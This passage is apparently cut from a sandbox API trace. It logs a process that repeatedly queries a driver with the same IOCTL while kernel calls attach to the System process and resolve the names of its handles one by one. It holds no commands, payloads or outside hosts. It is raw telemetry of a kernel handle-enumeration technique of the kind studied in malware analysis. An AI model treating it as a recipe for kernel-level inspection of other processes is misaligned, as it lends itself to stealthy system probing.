lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xde, lpOverlapped=0x0) returned 1 [0063.525] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.525] PsAcquireProcessExitSynchronization () returned 0x0 [0063.525] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.525] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f66340, HandleInformation=0x0) returned 0x0 [0063.525] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.525] PsReleaseProcessExitSynchronization () returned 0x2 [0063.525] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.525] ObQueryNameString (in: Object=0xfffffa8002f66340, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.525] ObfDereferenceObject (Object=0xfffffa8002f66340) returned 0x2 [0063.525] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.525] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.525] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0063.525] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.525] PsAcquireProcessExitSynchronization () returned 0x0 [0063.525] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.525] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f64f20, HandleInformation=0x0) returned 0x0 [0063.525] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.525] PsReleaseProcessExitSynchronization () returned 0x2 [0063.525] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.525] ObQueryNameString (in: Object=0xfffffa8002f64f20, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.525] ObfDereferenceObject (Object=0xfffffa8002f64f20) returned 0x1 [0063.525] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.525] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.525] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0063.526] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.526] PsAcquireProcessExitSynchronization () returned 0x0 [0063.526] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.526] ObReferenceObjectByHandle (in: Handle=0xffffffff800003dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028dde80, HandleInformation=0x0) returned 0x0 [0063.526] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.526] PsReleaseProcessExitSynchronization () returned 0x2 [0063.526] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.526] ObQueryNameString (in: Object=0xfffffa80028dde80, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.526] ObfDereferenceObject (Object=0xfffffa80028dde80) returned 0x2 [0063.526] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.526] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.526] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0063.526] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.526] PsAcquireProcessExitSynchronization () returned 0x0 [0063.526] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.526] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f69480, HandleInformation=0x0) returned 0x0 [0063.526] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.526] PsReleaseProcessExitSynchronization () returned 0x2 [0063.526] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.526] ObQueryNameString (in: Object=0xfffffa8002f69480, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.526] ObfDereferenceObject (Object=0xfffffa8002f69480) returned 0x2 [0063.526] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.526] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.526] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.526] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.526] PsAcquireProcessExitSynchronization () returned 0x0 [0063.526] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.526] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031dec90, HandleInformation=0x0) returned 0x0 [0063.526] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.526] PsReleaseProcessExitSynchronization () returned 0x2 [0063.526] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.526] ObQueryNameString (in: Object=0xfffffa80031dec90, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.527] ObfDereferenceObject (Object=0xfffffa80031dec90) returned 0x1 [0063.527] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.527] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.527] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.527] PsAcquireProcessExitSynchronization () returned 0x0 [0063.527] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.527] ObReferenceObjectByHandle (in: Handle=0xffffffff800003ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031de700, HandleInformation=0x0) returned 0x0 [0063.527] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.527] PsReleaseProcessExitSynchronization () returned 0x2 [0063.527] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.527] ObQueryNameString (in: Object=0xfffffa80031de700, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.527] ObfDereferenceObject (Object=0xfffffa80031de700) returned 0x2 [0063.527] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.527] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0063.527] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.527] PsAcquireProcessExitSynchronization () returned 0x0 [0063.527] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.527] ObReferenceObjectByHandle (in: Handle=0xffffffff800003f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031f33b0, HandleInformation=0x0) returned 0x0 [0063.527] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.527] PsReleaseProcessExitSynchronization () returned 0x2 [0063.527] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.527] ObQueryNameString (in: Object=0xfffffa80031f33b0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.527] ObfDereferenceObject (Object=0xfffffa80031f33b0) returned 0x2 [0063.527] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.527] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0063.527] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.528] PsAcquireProcessExitSynchronization () returned 0x0 [0063.528] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.528] ObReferenceObjectByHandle (in: Handle=0xffffffff800003fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031de920, HandleInformation=0x0) returned 0x0 [0063.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.528] PsReleaseProcessExitSynchronization () returned 0x2 [0063.528] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.528] ObQueryNameString (in: Object=0xfffffa80031de920, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.528] ObfDereferenceObject (Object=0xfffffa80031de920) returned 0x1 [0063.528] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.528] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.528] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0063.528] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.528] PsAcquireProcessExitSynchronization () returned 0x0 [0063.528] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.528] ObReferenceObjectByHandle (in: Handle=0xffffffff80000404, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f649e0, HandleInformation=0x0) returned 0x0 [0063.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.528] PsReleaseProcessExitSynchronization () returned 0x2 [0063.528] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.528] ObQueryNameString (in: Object=0xfffffa8002f649e0, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.528] ObfDereferenceObject (Object=0xfffffa8002f649e0) returned 0x1 [0063.528] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.528] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.528] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0063.528] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.528] PsAcquireProcessExitSynchronization () returned 0x0 [0063.528] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.528] ObReferenceObjectByHandle (in: Handle=0xffffffff80000408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800bbffc60, HandleInformation=0x0) returned 0x0 [0063.528] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.528] PsReleaseProcessExitSynchronization () returned 0x2 [0063.528] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.528] ObQueryNameString (in: Object=0xfffffa800bbffc60, ObjectNameInfo=0xfffffa80038f8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.528] ObfDereferenceObject (Object=0xfffffa800bbffc60) returned 0x1 [0063.529] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.529] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0063.529] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.529] PsAcquireProcessExitSynchronization () returned 0x0 [0063.529] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.529] ObReferenceObjectByHandle (in: Handle=0xffffffff8000040c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031f4dc0, HandleInformation=0x0) returned 0x0 [0063.529] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.529] PsReleaseProcessExitSynchronization () returned 0x2 [0063.529] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.529] ObQueryNameString (in: Object=0xfffffa80031f4dc0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.529] ObfDereferenceObject (Object=0xfffffa80031f4dc0) returned 0x2 [0063.529] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.529] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0063.529] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.529] PsAcquireProcessExitSynchronization () returned 0x0 [0063.529] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.529] ObReferenceObjectByHandle (in: Handle=0xffffffff80000410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031f38a0, HandleInformation=0x0) returned 0x0 [0063.529] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.529] PsReleaseProcessExitSynchronization () returned 0x2 [0063.529] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.529] ObQueryNameString (in: Object=0xfffffa80031f38a0, ObjectNameInfo=0xfffffa80038fa044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fa044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.529] ObfDereferenceObject (Object=0xfffffa80031f38a0) returned 0x2 [0063.529] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.529] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.529] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.529] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.529] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.530] PsAcquireProcessExitSynchronization () returned 0x0 [0063.530] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.530] ObReferenceObjectByHandle (in: Handle=0xffffffff80000418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031f35f0, HandleInformation=0x0) returned 0x0 [0063.530] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.530] PsReleaseProcessExitSynchronization () returned 0x2 [0063.530] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.530] ObQueryNameString (in: Object=0xfffffa80031f35f0, ObjectNameInfo=0xfffffa80038fb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.530] ObfDereferenceObject (Object=0xfffffa80031f35f0) returned 0x1 [0063.530] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.530] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.530] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.530] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.530] PsAcquireProcessExitSynchronization () returned 0x0 [0063.530] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.530] ObReferenceObjectByHandle (in: Handle=0xffffffff8000041c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031f4850, HandleInformation=0x0) returned 0x0 [0063.530] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.530] PsReleaseProcessExitSynchronization () returned 0x2 [0063.530] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.530] ObQueryNameString (in: Object=0xfffffa80031f4850, ObjectNameInfo=0xfffffa80038fc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.530] ObfDereferenceObject (Object=0xfffffa80031f4850) returned 0x2 [0063.530] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.530] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.530] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.530] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.530] PsAcquireProcessExitSynchronization () returned 0x0 [0063.530] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.530] ObReferenceObjectByHandle (in: Handle=0xffffffff80000498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032afae0, HandleInformation=0x0) returned 0x0 [0063.530] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.530] PsReleaseProcessExitSynchronization () returned 0x2 [0063.530] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.530] ObQueryNameString (in: Object=0xfffffa80032afae0, ObjectNameInfo=0xfffffa80038fd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.531] ObfDereferenceObject (Object=0xfffffa80032afae0) returned 0x1 [0063.531] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.531] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.531] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.531] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.531] PsAcquireProcessExitSynchronization () returned 0x0 [0063.531] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.531] ObReferenceObjectByHandle 